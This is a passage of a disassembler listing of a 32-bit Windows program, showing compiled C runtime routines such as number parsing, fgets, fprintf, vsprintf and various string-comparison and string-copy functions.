add esp, 8
mov [ebp+var_1C], eax
jmp short loc_4183C2
; ---------------------------------------------------------------------------
loc_4183A7: ; CODE XREF: sub_418220+16Dj
mov ecx, [ebp+var_8]
and ecx, 0FFh
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_1C], eax
loc_4183C2: ; CODE XREF: sub_418220+185j
cmp [ebp+var_1C], 0
jz short loc_4183D4
movsx ecx, byte ptr [ebp+var_8]
sub ecx, 30h
mov [ebp+var_14], ecx
jmp short loc_418433
; ---------------------------------------------------------------------------
loc_4183D4: ; CODE XREF: sub_418220+1A6j
cmp dword_447480, 1
jle short loc_4183F9
push 103h
mov edx, [ebp+var_8]
and edx, 0FFh
push edx
call sub_41FA40
add esp, 8
mov [ebp+var_20], eax
jmp short loc_418416
; ---------------------------------------------------------------------------
loc_4183F9: ; CODE XREF: sub_418220+1BBj
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 103h
mov [ebp+var_20], edx
loc_418416: ; CODE XREF: sub_418220+1D7j
cmp [ebp+var_20], 0
jz short loc_418431
movsx eax, byte ptr [ebp+var_8]
push eax
call sub_422500
add esp, 4
sub eax, 37h
mov [ebp+var_14], eax
jmp short loc_418433
; ---------------------------------------------------------------------------
loc_418431: ; CODE XREF: sub_418220+1FAj
jmp short loc_418490
; ---------------------------------------------------------------------------
loc_418433: ; CODE XREF: sub_418220+1B2j
; sub_418220+20Fj
mov ecx, [ebp+var_14]
cmp ecx, [ebp+arg_8]
jb short loc_41843D
jmp short loc_418490
; ---------------------------------------------------------------------------
loc_41843D: ; CODE XREF: sub_418220+219j
mov edx, [ebp+arg_C]
or edx, 8
mov [ebp+arg_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+var_10]
jb short loc_418463
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_10]
jnz short loc_418472
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp [ebp+var_14], edx
ja short loc_418472
loc_418463: ; CODE XREF: sub_418220+22Cj
mov edx, [ebp+var_C]
imul edx, [ebp+arg_8]
add edx, [ebp+var_14]
mov [ebp+var_C], edx
jmp short loc_41847A
; ---------------------------------------------------------------------------
loc_418472: ; CODE XREF: sub_418220+234j
; sub_418220+241j
mov eax, [ebp+arg_C]
or al, 4
mov [ebp+arg_C], eax
loc_41847A: ; CODE XREF: sub_418220+250j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_418386
; ---------------------------------------------------------------------------
loc_418490: ; CODE XREF: sub_418220:loc_418431j
; sub_418220+21Bj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
and edx, 8
test edx, edx
jnz short loc_4184B8
cmp [ebp+arg_4], 0
jz short loc_4184AF
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4184AF: ; CODE XREF: sub_418220+287j
mov [ebp+var_C], 0
jmp short loc_41852A
; ---------------------------------------------------------------------------
loc_4184B8: ; CODE XREF: sub_418220+281j
mov ecx, [ebp+arg_C]
and ecx, 4
test ecx, ecx
jnz short loc_4184F2
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jnz short loc_41852A
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_4184DF
cmp [ebp+var_C], 80000000h
ja short loc_4184F2
loc_4184DF: ; CODE XREF: sub_418220+2B4j
mov ecx, [ebp+arg_C]
and ecx, 2
test ecx, ecx
jnz short loc_41852A
cmp [ebp+var_C], 7FFFFFFFh
jbe short loc_41852A
loc_4184F2: ; CODE XREF: sub_418220+2A0j
; sub_418220+2BDj
call sub_4224D0
mov dword ptr [eax], 22h
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jz short loc_418510
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_41852A
; ---------------------------------------------------------------------------
loc_418510: ; CODE XREF: sub_418220+2E5j
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_418523
mov [ebp+var_C], 80000000h
jmp short loc_41852A
; ---------------------------------------------------------------------------
loc_418523: ; CODE XREF: sub_418220+2F8j
mov [ebp+var_C], 7FFFFFFFh
loc_41852A: ; CODE XREF: sub_418220+296j
; sub_418220+2AAj ...
cmp [ebp+arg_4], 0
jz short loc_418538
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
loc_418538: ; CODE XREF: sub_418220+30Ej
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41854A
mov ecx, [ebp+var_C]
neg ecx
mov [ebp+var_C], ecx
loc_41854A: ; CODE XREF: sub_418220+320j
mov eax, [ebp+var_C]
loc_41854D: ; CODE XREF: sub_418220+D9j
mov esp, ebp
pop ebp
retn
sub_418220 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418560 proc near ; CODE XREF: sub_401C87+4E16p
; sub_401C87+5277p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_418220
add esp, 10h
pop ebp
retn
sub_418560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418580 proc near ; CODE XREF: sub_401C87+458Bp
; .data:004185D7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call dword_4E0344 ; DeleteFileA
test eax, eax
jnz short loc_41859D
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_4185A4
; ---------------------------------------------------------------------------
loc_41859D: ; CODE XREF: sub_418580+10j
mov [ebp+var_4], 0
loc_4185A4: ; CODE XREF: sub_418580+1Bj
cmp [ebp+var_4], 0
jz short loc_4185BB
mov ecx, [ebp+var_4]
push ecx
call sub_422430
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_4185BD
; ---------------------------------------------------------------------------
loc_4185BB: ; CODE XREF: sub_418580+28j
xor eax, eax
loc_4185BD: ; CODE XREF: sub_418580+39j
mov esp, ebp
pop ebp
retn
sub_418580 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call sub_418580
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185F0 proc near ; CODE XREF: sub_401C87+44F9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
mov [ebp+var_10], eax
loc_4185FF: ; CODE XREF: sub_4185F0+37j
cmp [ebp+arg_0], 0
jnz short loc_418623
push offset dword_4344AC
push 0
push 38h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_418623
int 3 ; Trap to Debugger
loc_418623: ; CODE XREF: sub_4185F0+13j
; sub_4185F0+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_4185FF
loc_418629: ; CODE XREF: sub_4185F0+61j
cmp [ebp+arg_4], 0
jnz short loc_41864D
push offset aFormatNull ; "format != NULL"
push 0
push 39h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41864D
int 3 ; Trap to Debugger
loc_41864D: ; CODE XREF: sub_4185F0+3Dj
; sub_4185F0+5Aj
xor edx, edx
test edx, edx
jnz short loc_418629
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41AE20
add esp, 4
mov edx, [ebp+var_4]
push edx
call sub_4226D0
add esp, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4209A0
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_422830
add esp, 8
mov edx, [ebp+var_4]
push edx
call sub_41AE90
add esp, 4
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4185F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4186C0 proc near ; CODE XREF: sub_401C87+344Ap
; sub_401C87+3477p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_10], ecx
loc_4186D5: ; CODE XREF: sub_4186C0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_4186F9
push offset aStringNull ; "string != NULL"
push 0
push 3Bh
push offset aFgets_c ; "fgets.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4186F9
int 3 ; Trap to Debugger
loc_4186F9: ; CODE XREF: sub_4186C0+19j
; sub_4186C0+36j
xor edx, edx
test edx, edx
jnz short loc_4186D5
loc_4186FF: ; CODE XREF: sub_4186C0+67j
cmp [ebp+arg_8], 0
jnz short loc_418723
push offset dword_4344AC
push 0
push 3Ch
push offset aFgets_c ; "fgets.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_418723
int 3 ; Trap to Debugger
loc_418723: ; CODE XREF: sub_4186C0+43j
; sub_4186C0+60j
xor eax, eax
test eax, eax
jnz short loc_4186FF
cmp [ebp+arg_4], 0
jg short loc_418736
xor eax, eax
jmp loc_4187F7
; ---------------------------------------------------------------------------
loc_418736: ; CODE XREF: sub_4186C0+6Dj
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_41AE20
add esp, 4
loc_418748: ; CODE XREF: sub_4186C0:loc_4187DDj
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_4], 0
jz loc_4187E2
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax+4], edx
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jl short loc_418793
mov edx, [ebp+var_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
and ecx, 0FFh
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
jmp short loc_4187A2
; ---------------------------------------------------------------------------
loc_418793: ; CODE XREF: sub_4186C0+B1j
mov edx, [ebp+var_4]
push edx
call sub_41FB00
add esp, 4
mov [ebp+var_14], eax
loc_4187A2: ; CODE XREF: sub_4186C0+D1j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_4187C1
mov ecx, [ebp+var_8]
cmp ecx, [ebp+arg_0]
jnz short loc_4187BF
mov [ebp+var_10], 0
jmp short loc_4187E8
; ---------------------------------------------------------------------------
loc_4187BF: ; CODE XREF: sub_4186C0+F4j
jmp short loc_4187E2
; ---------------------------------------------------------------------------
loc_4187C1: ; CODE XREF: sub_4186C0+ECj
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+var_C]
mov [edx], al
movsx ecx, byte ptr [ebp+var_C]
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
cmp ecx, 0Ah
jnz short loc_4187DD
jmp short loc_4187E2
; ---------------------------------------------------------------------------
loc_4187DD: ; CODE XREF: sub_4186C0+119j
jmp loc_418748
; ---------------------------------------------------------------------------
loc_4187E2: ; CODE XREF: sub_4186C0+95j
; sub_4186C0:loc_4187BFj ...
mov eax, [ebp+var_8]
mov byte ptr [eax], 0
loc_4187E8: ; CODE XREF: sub_4186C0+FDj
mov ecx, [ebp+var_4]
push ecx
call sub_41AE90
add esp, 4
mov eax, [ebp+var_10]
loc_4187F7: ; CODE XREF: sub_4186C0+71j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4186C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418800 proc near ; CODE XREF: sub_401C87+1A63p
; sub_401C87+1A82p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_418821
xor eax, eax
jmp short loc_418823
; ---------------------------------------------------------------------------
loc_418821: ; CODE XREF: sub_418800+1Bj
mov eax, edi
loc_418823: ; CODE XREF: sub_418800+1Fj
cld
pop edi
leave
retn
sub_418800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418830 proc near ; CODE XREF: sub_401C87+831p
; .data:004134ACp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_418861
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41885F
jz short loc_418861
dec ecx
dec ecx
loc_41885F: ; CODE XREF: sub_418830+29j
not ecx
loc_418861: ; CODE XREF: sub_418830+9j
; sub_418830+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_418830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418870 proc near ; CODE XREF: sub_401C87+418p
; sub_401C87+3C1Bp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_4188E1
sub_418870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418880 proc near ; CODE XREF: sub_401C87+421p
; sub_401C87+34D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41889C
loc_41888D: ; CODE XREF: sub_418880+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_4188CF
test ecx, 3
jnz short loc_41888D
loc_41889C: ; CODE XREF: sub_418880+Bj
; sub_418880+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41889C
mov eax, [ecx-4]
test al, al
jz short loc_4188DE
test ah, ah
jz short loc_4188D9
test eax, 0FF0000h
jz short loc_4188D4
test eax, 0FF000000h
jz short loc_4188CF
jmp short loc_41889C
; ---------------------------------------------------------------------------
loc_4188CF: ; CODE XREF: sub_418880+12j
; sub_418880+4Bj
lea edi, [ecx-1]
jmp short loc_4188E1
; ---------------------------------------------------------------------------
loc_4188D4: ; CODE XREF: sub_418880+44j
lea edi, [ecx-2]
jmp short loc_4188E1
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_418880+3Dj
lea edi, [ecx-3]
jmp short loc_4188E1
; ---------------------------------------------------------------------------
loc_4188DE: ; CODE XREF: sub_418880+39j
lea edi, [ecx-4]
loc_4188E1: ; CODE XREF: sub_418870+5j
; sub_418880+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_418906
loc_4188ED: ; CODE XREF: sub_418880+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_418958
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_4188ED
jmp short loc_418906
; ---------------------------------------------------------------------------
loc_418901: ; CODE XREF: sub_418880+9Ej
; sub_418880+B8j
mov [edi], edx
add edi, 4
loc_418906: ; CODE XREF: sub_418880+6Bj
; sub_418880+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_418901
test dl, dl
jz short loc_418958
test dh, dh
jz short loc_41894F
test edx, 0FF0000h
jz short loc_418942
test edx, 0FF000000h
jz short loc_41893A
jmp short loc_418901
; ---------------------------------------------------------------------------
loc_41893A: ; CODE XREF: sub_418880+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418942: ; CODE XREF: sub_418880+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41894F: ; CODE XREF: sub_418880+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418958: ; CODE XREF: sub_418880+72j
; sub_418880+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_418880 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_418970
loc_418960: ; CODE XREF: sub_418970+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_418970
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418970 proc near ; CODE XREF: sub_401C87+3FDp
; sub_401C87+49Ep ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00418960 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_418976: ; CODE XREF: sub_417E00+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41899B
loc_418988: ; CODE XREF: sub_418970+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_418960
test cl, cl
jz short loc_4189E4
test edx, 3
jnz short loc_418988
loc_41899B: ; CODE XREF: sub_418970+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_4189A6: ; CODE XREF: sub_418970+61j
; sub_418970+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4189E8
and eax, 81010100h
jz short loc_4189A6
and eax, 1010100h
jnz short loc_4189E2
and esi, 80000000h
jnz short loc_4189A6
loc_4189E2: ; CODE XREF: sub_418970+68j
; sub_418970+81j ...
pop esi
pop edi
loc_4189E4: ; CODE XREF: sub_418970+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4189E8: ; CODE XREF: sub_418970+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_418A25
test al, al
jz short loc_4189E2
cmp ah, bl
jz short loc_418A1E
test ah, ah
jz short loc_4189E2
shr eax, 10h
cmp al, bl
jz short loc_418A17
test al, al
jz short loc_4189E2
cmp ah, bl
jz short loc_418A10
test ah, ah
jz short loc_4189E2
jmp short loc_4189A6
; ---------------------------------------------------------------------------
loc_418A10: ; CODE XREF: sub_418970+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418A17: ; CODE XREF: sub_418970+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418A1E: ; CODE XREF: sub_418970+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418A25: ; CODE XREF: sub_418970+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_418970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418A30 proc near ; CODE XREF: sub_401C87+1A2p
; sub_401C87+1F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_418A7C
loc_418A40: ; CODE XREF: sub_418A30+3Cj
; sub_418A30+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_418A74
or al, al
jz short loc_418A70
cmp ah, [ecx+1]
jnz short loc_418A74
or ah, ah
jz short loc_418A70
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_418A74
or al, al
jz short loc_418A70
cmp ah, [ecx+3]
jnz short loc_418A74
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_418A40
mov edi, edi
loc_418A70: ; CODE XREF: sub_418A30+18j
; sub_418A30+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_418A74: ; CODE XREF: sub_418A30+14j
; sub_418A30+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_418A7C: ; CODE XREF: sub_418A30+Ej
test edx, 1
jz short loc_418A98
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_418A74
inc ecx
or al, al
jz short loc_418A70
test edx, 2
jz short loc_418A40
loc_418A98: ; CODE XREF: sub_418A30+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_418A74
or al, al
jz short loc_418A70
cmp ah, [ecx+1]
jnz short loc_418A74
or ah, ah
jz short loc_418A70
add ecx, 2
jmp short loc_418A40
sub_418A30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AC0 proc near ; CODE XREF: sub_401C87+B4p
; sub_401C87+CDp ...
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
call sub_421920
mov [ebp+var_8], eax
mov [ebp+var_C], 0
jmp short loc_418AE6
; ---------------------------------------------------------------------------
loc_418ADD: ; CODE XREF: sub_418AC0+34j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_418AE6: ; CODE XREF: sub_418AC0+1Bj
cmp [ebp+var_C], 20h
jge short loc_418AF6
mov edx, [ebp+var_C]
mov [ebp+edx+var_2C], 0
jmp short loc_418ADD
; ---------------------------------------------------------------------------
loc_418AF6: ; CODE XREF: sub_418AC0+2Aj
; sub_418AC0+79j
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
sar edx, 3
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_2C]
or cl, al
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
sar eax, 3
mov [ebp+eax+var_2C], cl
mov ecx, [ebp+var_30]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_30]
add eax, 1
mov [ebp+var_30], eax
test edx, edx
jnz short loc_418AF6
cmp [ebp+arg_0], 0
jz short loc_418B49
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B49: ; CODE XREF: sub_418AC0+7Fj
mov edx, [ebp+var_8]
mov eax, [edx+18h]
mov [ebp+var_4], eax
loc_418B52: ; CODE XREF: sub_418AC0+87j
; sub_418AC0+CFj
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_418B91
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_418B91
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B91: ; CODE XREF: sub_418AC0+B9j
; sub_418AC0+C4j
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp short loc_418BA2
; ---------------------------------------------------------------------------
loc_418B99: ; CODE XREF: sub_418AC0:loc_418BE7j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_418BA2: ; CODE XREF: sub_418AC0+D7j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_418BE9
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_418BE7
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_418BE9
; ---------------------------------------------------------------------------
loc_418BE7: ; CODE XREF: sub_418AC0+114j
jmp short loc_418B99
; ---------------------------------------------------------------------------
loc_418BE9: ; CODE XREF: sub_418AC0+EBj
; sub_418AC0+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_4]
mov [edx+18h], eax
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_4]
jnz short loc_418BFE
xor eax, eax
jmp short loc_418C01
; ---------------------------------------------------------------------------
loc_418BFE: ; CODE XREF: sub_418AC0+138j
mov eax, [ebp+arg_0]
loc_418C01: ; CODE XREF: sub_418AC0+13Cj
mov esp, ebp
pop ebp
retn
sub_418AC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C10 proc near ; CODE XREF: sub_407604+1Cp
; sub_40F99B+19p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
loc_418C1F: ; CODE XREF: sub_418C10+37j
cmp [ebp+arg_0], 0
jnz short loc_418C43
push offset aStringNull ; "string != NULL"
push 0
push 5Ah
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_418C43
int 3 ; Trap to Debugger
loc_418C43: ; CODE XREF: sub_418C10+13j
; sub_418C10+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_418C1F
loc_418C49: ; CODE XREF: sub_418C10+61j
cmp [ebp+arg_8], 0
jnz short loc_418C6D
push offset aFormatNull ; "format != NULL"
push 0
push 5Bh
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_418C6D
int 3 ; Trap to Debugger
loc_418C6D: ; CODE XREF: sub_418C10+3Dj
; sub_418C10+5Aj
xor edx, edx
test edx, edx
jnz short loc_418C49
mov eax, [ebp+var_24]
mov dword ptr [eax+0Ch], 42h
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx+8], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_24]
push eax
call sub_4209A0
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_418CE8
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_2C], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_418CF9
; ---------------------------------------------------------------------------
loc_418CE8: ; CODE XREF: sub_418C10+B4j
mov edx, [ebp+var_24]
push edx
push 0
call sub_420720
add esp, 8
mov [ebp+var_2C], eax
loc_418CF9: ; CODE XREF: sub_418C10+D6j
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418C10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D10 proc near ; CODE XREF: sub_422F70+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
